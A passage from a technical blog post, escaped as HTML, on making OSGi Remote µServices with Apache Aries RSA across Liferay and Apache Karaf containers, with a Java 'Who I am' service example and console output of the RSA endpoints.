        &lt;img alt=&quot;Figure 12 - Output of the list command on one of the Apache Karaf instances from which it is
You can see Apache Aries (RSA) bundles, Apache ZooKeeper + the
remote services developed.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png&quot; title=&quot;Figure 12 - Output of the list command on one of the Apache Karaf instances from which it is
You can see Apache Aries (RSA) bundles, Apache ZooKeeper + the
remote services developed.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 12 - Output of the list command on one of the Apache Karaf instances from which it is
You can see Apache Aries (RSA) bundles, Apache ZooKeeper + the
remote services developed.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;6-how-to-make-remote-µservices&quot;&gt;6. How to make Remote µServices&lt;/h2&gt;&lt;p&gt;We have seen in detail everything that makes Remote µServices &amp;quot;magical&amp;quot;
in chapter 4, where the &lt;strong&gt;OSGi Remote Services&lt;/strong&gt; specification was introduced and
how Apache Aries RSA makes it possible to export
services outside the OSGi container they live in.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;For those who develop, does anything change?&lt;/strong&gt; Absolutely not, even more so for
who uses the &lt;strong&gt;Declarative Services&lt;/strong&gt; (or DS).&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s take a look at the &lt;strong&gt;Who I am&lt;/strong&gt; service. This service is very simple,
through the interface
&lt;em&gt;it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/em&gt; (see
Source Code 2) the &lt;em&gt;whoiam ()&lt;/em&gt; method has been defined. This method returns
some information about the runtime environment of the service. The implementation
of this interface, as shown in Source Code 3, would not be
candidate for export as a remote service. To make this happen,
it is necessary to add properties to our component, as indicated
following.&lt;/p&gt;&lt;p&gt;Using the property &lt;strong&gt;service.exported.interfaces=*&lt;/strong&gt; we nominate the component
to be exported as a remote service, you must also specify the
port number via the &lt;strong&gt;aries.rsa.port=&lt;/strong&gt; property. The latter
configuration is specific to the type of transport chosen, in this case the
TCP, as I anticipated in chapter 4 talking about &lt;strong&gt;Distribution
Provider&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.service;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.Bundle;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.BundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.framework.Constants;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Activate;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Component;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.component.annotations.Reference;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; org.osgi.service.log.LogService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; java.net.InetAddress;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; java.net.UnknownHostException;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  property = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;service.exported.interfaces=*&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;aries.rsa.port=8202&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamServiceImpl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;NA&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      hostAddress = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;InetAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLocalHost&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UnknownHostException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;LOG_ERROR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      response, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundleId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHeaders&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BUNDLE_NAME&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getVersion&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;FRAMEWORK_UUID&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), hostAddress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    _bc = bundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LogService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Enabling the component that implements the Who I am interface to be exported as a remote service&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;For us developers, the &amp;quot;effort&amp;quot; is over here, you don&amp;#x27;t need to do anything else.
Nothing changes for the consumer either (see Source Code 4), just enter
annotation &lt;em&gt;@Reference&lt;/em&gt; to the declared member of type WhoIamService, as always done.
The Topology Manager will then inject the correct reference to the service
remote, the one that lives inside the other OSGi container.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s connect to Liferay&amp;#x27;s Gogo Shell and see what we change below
than usual. With the installation of Apache Aries (RSA) we have to ours
available command to be able to query the Remote Service Admin and understand
which endpoints were created. The command is called &lt;code&gt;rsa:endpoints&lt;/code&gt; e
the output of this to Liferay&amp;#x27;s Gogo Shell should look like
the one shown below.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/726c56e0344b5c168874479a49eb4f26/dc0c1/output-comando-rsa-endpoints.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;31\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2031\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2016c0%208%200%2015%201%2014l2-2v2l1%201c3%200%202-4%200-5-4%200-4-2%200-2l2%202%201%201%201%202c0%202%201%202%20196%202h197V0H0v16m0%201l1%2010c0-5%200-5%202-5h3l-2-1-3-2h2l3-1-1-1-4-2%20198-1%20198-1H199A7412%207412%200%20015%2010L3%209%201%208l8-1h8L8%206C2%205-2%204%204%204s7-2%201-2H0v15m187%200c0%201-1%201%2031%202l30-1a301%20301%200%2000-61%200m-38%203c0%201%203%202%209%201l5%201-14%201-8%201%2023%201%201-2c0-1%201-2%207-2%207%200%2011-1%206-1h-29\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/726c56e0344b5c168874479a49eb4f26/c85cb/output-comando-rsa-endpoints.webp 300w,/static/726c56e0344b5c168874479a49eb4f26/e88ff/output-comando-rsa-endpoints.webp 600w,/static/726c56e0344b5c168874479a49eb4f26/92f8c/output-comando-rsa-endpoints.webp 1200w,/static/726c56e0344b5c168874479a49eb4f26/62ed8/output-comando-rsa-endpoints.webp 1800w,/static/726c56e0344b5c168874479a49eb4f26/12983/output-comando-rsa-endpoints.webp 2348w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/726c56e0344b5c168874479a49eb4f26/5a46d/output-comando-rsa-endpoints.png 300w,/static/726c56e0344b5c168874479a49eb4f26/0a47e/output-comando-rsa-endpoints.png 600w,/static/726c56e0344b5c168874479a49eb4f26/c1b63/output-comando-rsa-endpoints.png 1200w,/static/726c56e0344b5c168874479a49eb4f26/d61c2/output-comando-rsa-endpoints.png 1800w,/static/726c56e0344b5c168874479a49eb4f26/dc0c1/output-comando-rsa-endpoints.png 2348w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 13 - Output of the rsa command: endpoints&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/726c56e0344b5c168874479a49eb4f26/c1b63/output-comando-rsa-endpoints.png&quot; title=&quot;Figure 13 - Output of the rsa command: endpoints&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 13 - Output of the rsa command: endpoints&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The one shown in the figure corresponds to what I would have expected, and
the numbers actually add up; perhaps someone could object. There are three
endpoint. &lt;strong&gt;Why three endpoints if we have exported two services?&lt;/strong&gt; It is
It is true that the exported services are two but the Who I am service is installed on
two different OSGi containers. The information the command returns is:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;id&lt;/strong&gt;: identifier of the exported service expressed in URI format.
Protocol, IP address of the service and port;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;interface&lt;/strong&gt;: is the full name of the interface that the service implements;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;framework&lt;/strong&gt;: is the identifier of the OSGi framework within which the
service lives;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;comp name&lt;/strong&gt;: is the name of the component that corresponds to the Java class that
implements the interface and consequently the service.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Note that the framework identifier is different for each of the endpoints,
correct, because they are services that live in three different OSGi containers.&lt;/p&gt;&lt;p&gt;By clicking on Console Session 2, you can see the terminal session where
the registration process of the new endpoint concerning the service is highlighted
of the Raspberry Pi. The new endpoint is in fact registered immediately after startup
of the Apache Karaf instance installed on the Raspberry Pi.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;a href=&quot;https://asciinema.org/a/351189?autoplay=1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://asciinema.org/a/351189.svg&quot; width=&quot;100%&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Console Session 2 - Apache Aries (RSA) Endpoint Control&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;How many times have you used the &lt;code&gt;bundle&lt;/code&gt; or&lt;code&gt; b&lt;/code&gt; command to do the inspection
any bundles? I guess several times, especially when there was to understand why
things didn&amp;#x27;t work out. Let&amp;#x27;s try running the &lt;code&gt;b&lt;/code&gt; command on the del bundle
consumer of the Who I am service and let&amp;#x27;s see what the output will present.&lt;/p&gt;&lt;p&gt;Before running the bundle inspection command, let&amp;#x27;s use the command
&lt;code&gt;lb it.smc.techblog&lt;/code&gt; to get the list of our bundles and then get
the id of the bundle we are interested in inspecting.How many times have you used the &lt;code&gt;bundle&lt;/code&gt; or&lt;code&gt; b&lt;/code&gt; command to do the inspection
any bundles? I guess several times, especially when there was to understand why
things didn&amp;#x27;t work out. Let&amp;#x27;s try running the &lt;code&gt;b&lt;/code&gt; command on the del bundle
consumer of the Who I am service and let&amp;#x27;s see what the output will present.&lt;/p&gt;&lt;p&gt;Before running the bundle inspection command, let&amp;#x27;s use the command
&lt;code&gt;lb it.smc.techblog&lt;/code&gt; to get the list of our bundles and then get
the id of the bundle we are interested in inspecting.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/76435/output-comando-lb-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:14.666666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;59\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2059\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2030l1%2029%201-2%201-2%201%202c0%202%201%202%204%202s3%200%203-4c0-2%200-3%202-3%201%201%202%201%202%205%200%202%201%202%20193%202h193V0H0v30m278-6l1%201v1c-1%201%200%202%207%202%206%200%208-1%208-2l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%205%201%206-1v-2c0-2-34-2-35-1m67%200c-2%201-3%204-1%204l1-1h1c1%201%2012%201%2013-1%201-1%201-1%201%201h1l2-2v3l2-1v-1l1%201%205%201%206-1v-3h-32m-5%209c0%202%208%203%208%201h1c1%202%205%202%207-1h1v2l1-1%201-2%201%202c-1%202%204%202%205%200l1-1c0%202%2012%202%2012%200l-3-2c-2%200-3%201-2%202l-1%201-1-1c0-3-2-2-3%200h-1c0-3-27-2-27%200m-45%208c0%202%201%202%208%202%205%200%207-1%207-2l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%207%201c7%200%207%200%